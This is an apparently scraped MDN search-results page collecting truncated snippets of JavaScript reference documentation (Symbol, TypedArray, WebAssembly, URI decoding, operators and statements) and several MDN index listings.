console.log(x); // expected output: // "hello" // "async" // "iteration!" } })(); When creating an API, remember that async iterables are designed to represent something iterable -- like a stream of data or a list --, not to completely replace callbacks and events in most situations. Built-in Async Iterables There are currently no built-in
JavaScript objects that have the [Symbol.asyncIterator] key set by default. However, WHATWG Streams are set to be the first built-in object to be async iterable, with [Symbol.asyncIterator] recently landing in the spec. Specifications Specification ECMAScript (ECMA-262)The definition of 'Symbol.asyncIterator' in that specification. ...
Symbol.toStringTag - JavaScript
toString.call(null); // "[object Null]" // ... and more Built-in toStringTag symbols Object.prototype.toString.call(new Map()); // "[object Map]" Object.prototype.toString.call(function* () {}); // "[object GeneratorFunction]" Object.prototype.toString.call(Promise.resolve()); // "[object Promise]" // ... ...
Symbol.prototype.valueOf() - JavaScript
The valueOf() method returns the primitive value of a Symbol object. Syntax Symbol().valueOf() Return value The primitive value of the specified Symbol object. Description The valueOf method of Symbol returns the primitive value of a Symbol object as a Symbol data type.
JavaScript calls the valueOf method to convert an object to a primitive value. You rarely need to invoke the valueOf method yourself;
JavaScript automatically invokes it when encountering an object where a primitive value is expected. Examples Using valueOf const sym = Symbol("example"); sym === sym.valueOf(); // true Specifications Specification ECMAScript (ECMA-262)The definition of 'Symbol.prototype.valueOf' in that specification. ...
SyntaxError - JavaScript
Constructor SyntaxError() Creates a new SyntaxError object. Instance properties SyntaxError.prototype.message Error message. Although ECMA-262 specifies that SyntaxError should provide its own message property, in SpiderMonkey, it inherits Error.prototype.message. SyntaxError.prototype.name Error name. Inherited from Error. SyntaxError.prototype.fileName Path to file that raised this error. Inherited from Error. ...
TypedArray.prototype.join() - JavaScript
A string with all array elements joined. Polyfill Since there is no global object with the name TypedArray, polyfilling must be done on an "as needed" basis. // https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.join if (!Uint8Array.prototype.join) { Object.defineProperty(Uint8Array.prototype, 'join', { value: Array.prototype.join }); } If you need to support truly obsolete
JavaScript engines that don't support Object.defineProperty, it's best not to polyfill Array.prototype methods at all, as you can't make them non-enumerable. Examples Using join var uint8 = new Uint8Array([1,2,3]); uint8.join(); // '1,2,3' uint8.join(' / '); // '1 / 2 / 3' uint8.join(''); // '123' Specifications Specification ECMAScript (ECMA-262)The definition of 'TypedArra...
TypedArray.prototype.set() - JavaScript
y.set(typedarray[, offset]) Parameters array The array from which to copy values. All values from the source array are copied into the target array, unless the length of the source array plus the offset exceeds the length of the target array, in which case an exception is thrown. typedarray If the source array is a typed array, the two arrays may share the same underlying ArrayBuffer; the
JavaScript engine will intelligently copy the source range of the buffer to the destination range. offset Optional The offset into the target array at which to begin writing values from the source array. If this value is omitted, 0 is assumed (that is, the source array will overwrite values in the target array starting at index 0). Exceptions A RangeError, if the offset is set such as it would store be...
TypedArray.prototype.slice() - JavaScript
s not affected. Polyfill Since there is no global object with the name TypedArray, polyfilling must be done on an "as needed" basis. if (!Uint8Array.prototype.slice) { Object.defineProperty(Uint8Array.prototype, 'slice', { value: function (begin, end) { return new Uint8Array(Array.prototype.slice.call(this, begin, end)); } }); } If you need to support truly obsolete
JavaScript engines that don't support Object.defineProperty, it's best not to polyfill Array.prototype methods at all, as you can't make them non-enumerable. Examples Return a portion of an existing typed array const uint8 = new Uint8Array([1,2,3]); uint8.slice(1); // Uint8Array [ 2, 3 ] uint8.slice(2); // Uint8Array [ 3 ] uint8.slice(-2); // Uint8Array [ 2, 3 ] uint8.slice(0,1); // Uint8Array [ 1 ...
TypedArray.prototype.some() - JavaScript
ate the typed array on which it is called. Polyfill Since there is no global object with the name TypedArray, polyfilling must be done on an "as needed" basis. // https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.some if (!Uint8Array.prototype.some) { Object.defineProperty(Uint8Array.prototype, 'some', { value: Array.prototype.some }); } If you need to support truly obsolete
JavaScript engines that don't support Object.defineProperty, it's best not to polyfill Array.prototype methods at all, as you can't make them non-enumerable. Examples Testing size of all typed array elements The following example tests whether any element in the typed array is bigger than 10. function isBiggerThan10(element, index, array) { return element > 10; } new Uint8Array([2, 5, 8, 1, 4]).some(...
WeakMap - JavaScript
lue pairs in which the keys are weakly referenced. The keys must be objects and the values can be arbitrary values. You can learn more about WeakMaps in the WeakMap object guide (under Keyed collections). Description Keys of WeakMaps are of the type Object only. Primitive data types as keys are not allowed (e.g. a Symbol can't be a WeakMap key). Why WeakMap? A map API could be implemented in
JavaScript with two arrays (one for keys, one for values) shared by the four API methods. Setting elements on this map would involve pushing a key and value onto the end of each of those arrays simultaneously. As a result, the indices of the key and value would correspond to both arrays. Getting values from the map would involve iterating through all keys to find a match, then using the index of this match ...
WebAssembly.CompileError() constructor - JavaScript
ECMAScript (ECMA-262)The definition of 'NativeError constructor' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull re...
WebAssembly.CompileError - JavaScript
ECMAScript (ECMA-262)The definition of 'NativeError' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. Desk...
WebAssembly.Instance() constructor - JavaScript
Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox ...
WebAssembly.LinkError() constructor - JavaScript
ECMAScript (ECMA-262)The definition of 'NativeError constructors' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. Deskto...
WebAssembly.LinkError - JavaScript
ECMAScript (ECMA-262)The definition of 'NativeError' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServer...
WebAssembly.Memory.prototype.buffer - JavaScript
t memory, then exports a function and uses it to sum some values. WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new Uint32Array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'buffer' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox fo...
WebAssembly.Memory.prototype.grow() - JavaScript
e instance by one page like so: const bytesPerPage = 64 * 1024; console.log(memory.buffer.byteLength / bytesPerPage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.byteLength / bytesPerPage); // "2" Note the return value of grow() here is the previous number of WebAssembly pages. Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'grow()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox fo...
WebAssembly.Module() constructor - JavaScript
Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for And...
WebAssembly.Module.customSections() - JavaScript
in the example, an ArrayBuffer object is returned. WebAssembly.compileStreaming(fetch('simple-name-section.wasm')) .then(function(mod) { var nameSections = WebAssembly.Module.customSections(mod, "name"); if (nameSections.length != 0) { console.log("Module contains a name section"); console.log(nameSections[0]); }; }); Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'customSections()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for Android...
WebAssembly.Module.exports() - JavaScript
Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox...
WebAssembly.Module.imports() - JavaScript
compiles the loaded simple.wasm module. This module is then queried for its imports. WebAssembly.compileStreaming(fetch('simple.wasm')) .then(function(mod) { var imports = WebAssembly.Module.imports(mod); console.log(imports[0]); }); The output looks like this: { module: "imports", name: "imported_func", kind: "function" } Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'imports()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox...
WebAssembly.Module - JavaScript
inside it. var importObject = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; WebAssembly.instantiate(mod, importObject).then(function(instance) { instance.exports.exported_func(); }); }; Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'WebAssembly.Module()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for And...
WebAssembly.RuntimeError() constructor - JavaScript
ECMAScript (ECMA-262)The definition of 'NativeError constructor' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send ...
WebAssembly.RuntimeError - JavaScript
ECMAScript (ECMA-262)The definition of 'NativeError' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. Desk...
WebAssembly.Table() constructor - JavaScript
Object) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); Note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g. get(0)() rather than get(0)) . This example shows that we're creating and accessing the table from
JavaScript, but the same table is visible and callable inside the wasm instance too. Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'Table' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser...
WebAssembly.Table.prototype.grow() - JavaScript
a new WebAssembly Table instance with an initial size of 2 and a maximum size of 10. var table = new WebAssembly.Table({ element: "anyfunc", initial: 2, maximum: 10 }); You can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'grow()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox fo...
WebAssembly.Table.prototype.length - JavaScript
a new WebAssembly Table instance with an initial size of 2 and a maximum size of 10. var table = new WebAssembly.Table({ element: "anyfunc", initial: 2, maximum: 10 }); You can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'length' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox fo...
WebAssembly.compile() - JavaScript
postMessage(). var worker = new Worker("wasm_worker.js"); fetch('simple.wasm').then(response => response.arrayBuffer() ).then(bytes => WebAssembly.compile(bytes) ).then(mod => worker.postMessage(mod) ); Note: You'll probably want to use WebAssembly.compileStreaming() in most cases, as it is more efficient than compile(). Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'compile()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox...
WebAssembly.validate() - JavaScript
d converts it into a typed array. The validate() method is then used to check whether the module is valid. fetch('simple.wasm').then(response => response.arrayBuffer() ).then(function(bytes) { var valid = WebAssembly.validate(bytes); console.log("The given bytes are " + (valid ? "" : "not ") + "a valid wasm module"); }); Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'validate()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefo...
decodeURI() - JavaScript
nce") exception when encodedURI contains invalid character sequences. Description Replaces each escape sequence in the encoded URI with the character that it represents, but does not decode escape sequences that could not have been introduced by encodeURI. The character "#" is not decoded from escape sequences. Examples Decoding a Cyrillic URL decodeURI('https://developer.mozilla.org/ru/docs/
JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B'); // "https://developer.mozilla.org/ru/docs/
JavaScript_?????" Catching errors try { var a = decodeURI('%E0%A4%A'); } catch(e) { console.error(e); } // URIError: malformed URI sequence Specifications Specification ECMAScript (ECMA-262)The definition of 'decodeURI' in that specification. ...
decodeURIComponent() - JavaScript
fier. Return value A new string representing the decoded version of the given encoded Uniform Resource Identifier (URI) component. Exceptions Throws an URIError ("malformed URI sequence") exception when used wrongly. Description Replaces each escape sequence in the encoded URI component with the character that it represents. Examples Decoding a Cyrillic URL component decodeURIComponent('
JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B'); // "
JavaScript_?????" Catching errors try { var a = decodeURIComponent('%E0%A4%A'); } catch(e) { console.error(e); } // URIError: malformed URI sequence Decoding query parameters from a URL decodeURIComponent cannot be used directly to parse query parameters from a URL. It needs a bit of preparation. function decodeQueryParam(p) { return decodeURICom...
globalThis - JavaScript
ute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Property attributes of globalThis Writable yes Enumerable no Configurable yes Description Historically, accessing the global object has required different syntax in different
JavaScript environments. On the web you can use window, self, or frames - but in Web Workers only self will work. In Node.js none of these work, and you must instead use global. The this keyword could be used inside functions running in non-strict mode, but this will be undefined in Modules and inside functions running in strict mode. You can also use Function('return this')(), but environments that disabl...
null - JavaScript
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax null Description The value null is written with a literal: null. null is not an identifier for a property of the global object, like undefined can be. Instead, null expresses a lack of identification, indicating that a variable points to no object. ...
parseInt() - JavaScript
s a substitute for Math.floor(). parseInt understands exactly two signs: + for positive, and - for negative (since ECMAScript 1). It is done as an initial step in the parsing after whitespace is removed. If no signs are found, the algorithm moves to the following step; otherwise, it removes the sign and runs the number-parsing on the rest of the string. If radix is undefined, 0, or unspecified,
JavaScript assumes the following: If the input string begins with "0x" or "0X" (a zero, followed by lowercase or uppercase X), radix is assumed to be 16 and the rest of the string is parsed as a hexidecimal number. If the input string begins with "0" (a zero), radix is assumed to be 8 (octal) or 10 (decimal). Exactly which radix is chosen is implementation-dependent. ECMAScript 5 clarifies that 10 (deci...
uneval() - JavaScript
Return value A string representing the source code of object. Note: This will not return a JSON representation of object. Description uneval() is a top-level function and is not associated with any object. ...
Conditional (ternary) operator - JavaScript
This operator is frequently used as a shortcut for the if statement. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax condition ? exprIfTrue : exprIfFalse Parameters condition An expression whose value is used as a condition. ...
Less than (<) - JavaScript
/mdn/interactive-examples and send us a pull request. Syntax x < y Description The operands are compared using the Abstract Relational Comparison algorithm, which is roughly summarised below: First, objects are converted to primitives using Symbol.ToPrimitive. If both values are strings, they are compared as strings, based on the values of the Unicode code points they contain. Otherwise
JavaScript attempts to convert non-numeric types to numeric values: Boolean values true and false are converted to 1 and 0 respectively. null is converted to 0. undefined is converted to NaN. Strings are converted based on the values they contain, and are converted as NaN if they do not contain numeric values. If either value is NaN, the operator returns false. Otherwise the values are...
Object initializer - JavaScript
'foo' let o = { [prop]: 'hey', ['b' + 'ar']: 'there' } Description An object initializer is an expression that describes the initialization of an Object. Objects consist of properties, which are used to describe an object. Values of object properties can either contain primitive data types or other objects. Object literal notation vs JSON The object literal notation is not the same as the
JavaScript Object Notation (JSON). Although they look similar, there are differences between them: JSON permits only property definition using "property": value syntax. The property name must be double-quoted, and the definition cannot be a shorthand. In JSON the values can only be strings, numbers, arrays, true, false, null, or another (JSON) object. A function value (see "Methods" above) can not be ...
Optional chaining (?.) - JavaScript
e of obj.first.second. This prevents the error that would occur if you simply accessed obj.first.second directly without testing obj.first. With the optional chaining operator (?.), however, you don't have to explicitly test and short-circuit based on the state of obj.first before trying to access obj.first.second: let nestedProp = obj.first?.second; By using the ?. operator instead of just .,
JavaScript knows to implicitly check to be sure obj.first is not null or undefined before attempting to access obj.first.second. If obj.first is null or undefined, the expression automatically short-circuits, returning undefined. This is equivalent to the following, except that the temporary variable is in fact not created: let temp = obj.first; let nestedProp = ((temp === null || temp === undefined) ? un...
Spread syntax (...) - JavaScript
pread operator, it is assumed another iterating function is used when the merging occurs. Spread syntax (other than in the case of spread properties) can be applied only to iterable objects: const obj = {'key1': 'value1'}; const array = [...obj]; // TypeError: obj is not iterable Spread with many values When using spread syntax for function calls, be aware of the possibility of exceeding the
JavaScript engine's argument length limit. See apply() for more details. Specifications Specification ECMAScript (ECMA-262)The definition of 'Array initializer' in that specification. ECMAScript (ECMA-262)The definition of 'Object initializer' in that specification. ...
class expression - JavaScript
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
delete operator - JavaScript
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax delete expression Where expression should evaluate to a property reference, e.g.: delete object.property delete object['property'] Parameters object The name of an object, or an expression evaluating to an object. property The property to delete. Return value true for all cases except when the property is an own non-configurable property, in which case, false is returned in non-strict mode. ...
Function expression - JavaScript
erence between a function expression and a function declaration is the function name, which can be omitted in function expressions to create anonymous functions. A function expression can be used as an IIFE (Immediately Invoked Function Expression) which runs as soon as it is defined. See also the chapter about functions for more information. Function expression hoisting Function expressions in
JavaScript are not hoisted, unlike function declarations. You can't use function expressions before you create them: console.log(notHoisted) // undefined // even though the variable name is hoisted, the definition isn't. so it's undefined. notHoisted(); // TypeError: notHoisted is not a function var notHoisted = function() { console.log('bar'); }; Named function expression If you want to refer to t...
instanceof - JavaScript
nt.defaultView.SVGElement. Note for Mozilla developers: In code using XPCOM, instanceof has special effect: obj instanceof xpcomInterface (e.g. Components.interfaces.nsIFile) calls obj.QueryInterface(xpcomInterface) and returns true if QueryInterface succeeded. A side effect of such call is that you can use xpcomInterface's properties on obj after a successful instanceof test. Unlike standard
JavaScript globals, the test obj instanceof xpcomInterface works as expected, even if obj is from a different scope. Examples Demonstrating that String and Date are of type Object and exceptional cases The following code uses instanceof to demonstrate that String and Date objects are also of type Object (they are derived from Object). However, objects created with the object literal notation are an exc...
new operator - JavaScript
e of a user-defined object type or of one of the built-in object types that has a constructor function. Syntax new constructor[([arguments])] Parameters constructor A class or function that specifies the type of the object instance. arguments A list of values that the constructor will be called with. Description The new keyword does the following things: Creates a blank, plain
JavaScript object; Links (sets the constructor of) this object to another object; Passes the newly created object from Step 1 as the this context; Returns this if the function doesn't return an object. Creating a user-defined object requires two steps: Define the object type by writing a function. Create an instance of the object with new. To define an object type, create a function for the objec...
empty - JavaScript
An empty statement is used to provide no statement, although the
JavaScript syntax would expect one. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax ; Description The empty statement is a semicolon (;) indicating that no statement will be executed, even if
JavaScript syntax requires one. The opposite behavior, where you want multiple statements, but
JavaScript only allows a single one, is possible using a block statement, which combines several statements into a single one. Examples Empty loop body The empty statement is sometimes used with loop statements. See the following example with an empty loop body:...
block - JavaScript
yntax Block Statement { StatementList } Labelled Block Statement LabelIdentifier: { StatementList } StatementList Statements grouped within the block statement. LabelIdentifier An optional label for visual identification or as a target for break. Description The block statement is often called compound statement in other languages. It allows you to use multiple statements where
JavaScript expects only one statement. Combining statements into blocks is a common practice in
JavaScript. The opposite behavior is possible using an empty statement, where you provide no statement, although one is required. Blocks are commonly used in association with if...else and for statements. Examples Block scoping rules with var or function declaration in non-strict mode Variables declared with ...
export - JavaScript
Bindings that are exported can still be modified locally; when imported, although they can only be read by the importing module the value updates whenever it is updated by the exporting module. Exported modules are in strict mode whether you declare them as such or not. The export statement cannot be used in embedded scripts. ...
Index - Archive of obsolete content
self provides: 23 Contributor's Guide No summary! 24 Classes and Inheritance Add-on SDK No summary! 25 Content Processes Add-on SDK No summary! ...
... Add-on SDK Learn how to contribute to the Add-on SDK. 27 Modules Add-ons, Extensions A module is a self-contained unit of code, which is usually stored in a file, and has a well defined interface. The use of modules greatly improves the maintainability of code, by splitting it up into independent components, and enforcing logical boundaries between them. Unfortunately,
JavaScript does not yet have native support for modules: it has to rely on the host application to provide it with functionality such as loading subscripts, and exporting/ importing names. We will show how to do each of these things using the built-in Components object provided by Xulrunner application such as Firefox and Thunderbird. 28 Private Properties People have come up with seve...
...xt-menu Add-on SDK, Add-ons, Extensions, Firefox, SDK Adds items, submenus, and menu separators to the page's context menu. 45 hotkeys Add-on SDK Assign hotkey combinations to functions in your add-on. 46 indexed-db Add-on SDK Exposes the IndexedDB API to add-ons. 47 l10n Add-on SDK Localize strings appearing in the add-on's
JavaScript code. 48 notifications Add-on SDK, Notifications Display transient, toaster-style desktop messages to the user. 49 page-mod Add-on SDK Run scripts in the context of web pages whose URL matches a given pattern. 50 page-worker Add-on SDK Create a permanent, invisible page and access its DOM. 51 panel Add-on SDK, Add-ons, ...
...And 131 more matches
Index - Learn web development
# Page Tags and summary 1 Learn web development Beginner, CSS, HTML, Index, Intro, Landing, Learn, Web Welcome to the MDN learning area. This set of articles aims to provide complete beginners to web development with all that they need to start coding websites. 2 Accessibility ARIA, Accessibility, Articles, Beginner, CSS, CodingScripting, HTML,
JavaScript, Landing, Learn, Module Learning some HTML, CSS, and
JavaScript is useful if you want to become a web developer. Beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web. To help you achieve this, this module will cover general best practices (which are demonstrated throughout the HTML, CSS, and JavaScri...
...tions on the web. To help you achieve this, this module will cover general best practices (which are demonstrated throughout the HTML, CSS, and
JavaScript topics), cross browser testing, and some tips on enforcing accessibility from the start. We'll cover accessibility in special detail. 3 Accessible multimedia Accessibility, Article, Audio, Beginner, CodingScripting, HTML, Images,
JavaScript, Learn, Multimedia, Video, captions, subtitles, text tracks This chapter has provided a summary of accessibility concerns for multimedia content, along with some practical solutions. ...
... Accessibility, Article, Audio, Beginner, CodingScripting, HTML, Images,
JavaScript, Learn, Multimedia, Video, captions, subtitles, text tracks This chapter has provided a summary of accessibility concerns for multimedia content, along with some practical solutions. 4 Assessment: Accessibility troubleshooting Accessibility, Assessment, Beginner, CSS, CodingScripting, HTML,
JavaScript, Learn, WAI-ARIA In the assessment for this module, we present to you a simple site with a number of accessibility issues that you need to diagnose and fix. ...
...And 111 more matches
Index
Found 550 pages: # Page Tags and summary 1 SpiderMonkey: The Mozilla
JavaScript runtime SpiderMonkey Standalone source code releases can be found on the Releases page. 2 Creating
JavaScript tests Automated testing, Build documentation, Guide, QA, SpiderMonkey In which test suite does your new test belong? 3 Creating
JavaScript jstest reftests ECMAScript, Guide,
JavaScript, test In the js/src/tests directory, there are a few important subdirectories. 4 FOSS Guide, SpiderMonkey Feel free to add your own SpiderMonkey-based open source projects (and if necessary add categories)! 5 Future directions Guide, Mozilla, SpiderMonkey This article documents future directions in functi...
...high level, there are three issues to be aware of: 8 Getting SpiderMonkey source code Guide, SpiderMonkey You can get the SpiderMonkey source code in gzipped form or directly from the Mercurial repository. 9 Hacking Tips SpiderMonkey This page list a few tips to help you investigate issues related to SpiderMonkey. ...
...elated to SpiderMonkey. All tips listed here are dealing with the
JavaScript shell obtained at the end of the build documentation of SpiderMonkey. It is separated in 2 parts, one section related to debugging and another section related to drafting optimizations. Many of these tips only apply to debug builds of the JS shell; they will not function in a release build. 10 How to embed the
JavaScript engine Embedding Mozilla,
JavaScript, SpiderMonkey, Tutorial See also JSAPI User Guide. ...
...And 92 more matches
Index - Web APIs
onTimeline.currentTime API, Animation, AnimationTimeline, Experimental, Property, Read-only, Reference, Web Animations, currentTime, waapi, web animations api The currentTime read-only property of the Web Animations API's AnimationTimeline interface returns the timeline's current time in milliseconds, or null if the timeline is inactive. 98 ArrayBufferView API, Interface,
JavaScript, Reference, Typed Arrays ArrayBufferView is a helper type representing any of the following
JavaScript TypedArray types: 99 Attr API, DOM The Attr interface represents one of a DOM element's attributes as an object. In most DOM methods, you will directly retrieve the attribute as a string (e.g., Element.getAttribute()), but certain functions (e.g., Element.getAttributeN...
...onds of processing latency incurred by the AudioContext passing the audio from the AudioDestinationNode to the audio subsystem. 125 AudioContext.close() API, AudioContext, Media, Method, Reference, Web Audio API, close The close() method of the AudioContext Interface closes the audio context, releasing any system audio resources that it uses. ...
... from the AudioDestinationNode to the audio subsystem. 125 AudioContext.close() API, AudioContext, Media, Method, Reference, Web Audio API, close The close() method of the AudioContext Interface closes the audio context, releasing any system audio resources that it uses. 126 AudioContext.create
JavaScriptNode() API, Audio, Method, Obsolete, Reference, Web, create
JavaScriptNode The following script illustrates the use of create
JavaScriptNode(): 127 AudioContext.createMediaElementSource() API, AudioContext, Method, Reference, Reference(2), Web Audio API, createMediaElementSource For more details about media element audio source nodes, check out the MediaElementAudioSourceNode reference page. 128 AudioContext.createMediaStreamDest...
...And 90 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
CodingScripting, Flash, Glossary, Infrastructure Flash is an obsolescent technology developed by Adobe for viewing expressive web applications, multimedia content, and streaming media. Adobe Flash can run from supporting web browsers via a browser plug-in. 14 Ajax AJAX, CodingScripting, Glossary, Infrastructure, l10n:priority Ajax, which initially stood for Asynchronous
JavaScript And XML, is a programming practice of building complex, dynamic webpages using a technology known as XMLHttpRequest. 15 Algorithm CodingScripting, Glossary An algorithm is a self-contained series of instructions to perform a function. 16 Alignment container Alignment container, CSS, Glossary, alignment The alignment container is the rectangle that the ali...
... Apple Safari Glossary, Navigation, WebMechanics Safari is a Web browser developed by Apple and bundled with both macOS and iOS. It's based on the open source WebKit engine. 20 Application Context CodingScripting, Glossary An application context is a top-level browsing context that has a manifest applied to it. 21 Argument CodingScripting, Glossary,
JavaScript An argument is a value (primitive or object) passed as input to a function. 22 Arpanet Glossary, Infrastructure The ARPAnet (advanced research projects agency network) was an early computer network, constructed in 1969 as a robust medium to transmit sensitive military data and to connect leading research groups throughout the United States. ARPAnet first ran NCP (networ...
... as a robust medium to transmit sensitive military data and to connect leading research groups throughout the United States. ARPAnet first ran NCP (network control protocol) and subsequently the first version of the Internet protocol or TCP/IP suite, making ARPAnet a prominent part of the nascent Internet. ARPAnet was closed in early 1990. 23 Array Array, CodingScripting, Glossary,
JavaScript, programming An array is an ordered collection of data (either primitive or object depending upon the language). Arrays are used to store multiple values in a single variable. This is compared to a variable that can store only one value. 24 Asynchronous Glossary, Web, WebMechanics, asynchronous The term asynchronous refers to or multiple related things happening without...
...And 78 more matches
LiveConnect Overview - Archive of obsolete content
This chapter describes using LiveConnect technology to let Java and
JavaScript code communicate with each other. The chapter assumes you are familiar with Java programming. Working with Wrappers In
JavaScript, a wrapper is an object of the target language data type that encloses an object of the source language. When programming in
JavaScript, you can use a wrapper object to access methods and fields of the Java object; calling a method or accessing a property on the wrapper results in a call on the Java object. On the Java side,
JavaScript objects are wrapped in an instance of the class netscape.
javascript.JSObject and passed to Java. ...
...uage data type that encloses an object of the source language. When programming in
JavaScript, you can use a wrapper object to access methods and fields of the Java object; calling a method or accessing a property on the wrapper results in a call on the Java object. On the Java side,
JavaScript objects are wrapped in an instance of the class netscape.
javascript.JSObject and passed to Java. When a
JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type JSObject; when a JSObject is sent from Java to
JavaScript, the runtime engine unwraps it to its original
JavaScript object type. The JSObject class provides an interface for invoking
JavaScript methods and examining
JavaScript properties. ...
...stance of the class netscape.
javascript.JSObject and passed to Java. When a
JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type JSObject; when a JSObject is sent from Java to
JavaScript, the runtime engine unwraps it to its original
JavaScript object type. The JSObject class provides an interface for invoking
JavaScript methods and examining
JavaScript properties.
JavaScript to Java Communication When you refer to a Java package or class, or work with a Java object or array, you use one of the special LiveConnect objects. All
JavaScript access to Java takes place with these objects, which are summarized in the following table. Table 9.1 The LiveConnect Objects Object Description JavaArray A wrapped Java array, accessed from within Java...
...And 77 more matches
Index - Game development
Found 74 pages: # Page Tags and summary 1 Game development Apps, Game Development, Gamedev, Games, HTML5 Games,
JavaScript Games, Web Gaming is one of the most popular computer activities. New technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser. 2 Anatomy of a video game Games,
